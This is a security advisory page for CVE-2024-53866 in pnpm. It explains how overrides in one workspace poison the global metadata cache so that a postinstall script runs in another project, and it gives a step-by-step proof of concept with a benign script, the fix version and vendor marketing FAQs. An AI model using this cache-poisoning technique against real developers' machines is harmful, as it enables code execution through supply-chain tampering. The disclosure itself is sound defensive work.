Summary
pnpm no-script global cache poisoning via overrides / ignore-scripts evasion
pnpm seems to mishandle overrides and global cache:
- Overrides from one workspace leak into npm metadata saved in global cache
- npm metadata from global cache affects other workspaces
- installs by default don't revalidate the data (including on first lockfile generation)
This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B
Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).
Here, that expectation is broken
Details
See PoC.
In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache
PoC
Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log
- Remove store and cache
On mac:rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
This step is not required in general, but we'll be using a popular package for PoC that's likely cached - Create
A/package.json:
Install it with{ "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } }pnpm i --ignore-scripts(the flag is not required, but the point of the demo is to show that it doesn't help) - Create
B/package.json:
Install it with{ "name": "B", "dependencies": { "rimraf": "6.0.1" } }pnpm i
Result:
Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/[email protected]/node_modules/ponyhooves: Running postinstall script, done in 51ms
dependencies:
+ rimraf 6.0.1
Done in 1.4s
Also, that code got leaked into another project and it's lockfile now!
Impact
Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs
As a work-around, use separate cache and store dirs in each workspace
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2024-53866? CVE-2024-53866 is a medium-severity security vulnerability in pnpm (npm), affecting versions < 9.15.0. It is fixed in 9.15.0.
- Which versions of pnpm are affected by CVE-2024-53866? pnpm (npm) versions < 9.15.0 is affected.
- Is there a fix for CVE-2024-53866? Yes. CVE-2024-53866 is fixed in 9.15.0. Upgrade to this version or later.
- Is CVE-2024-53866 exploitable, and should I be worried? Whether CVE-2024-53866 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-53866 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-53866? Upgrade
pnpmto 9.15.0 or later.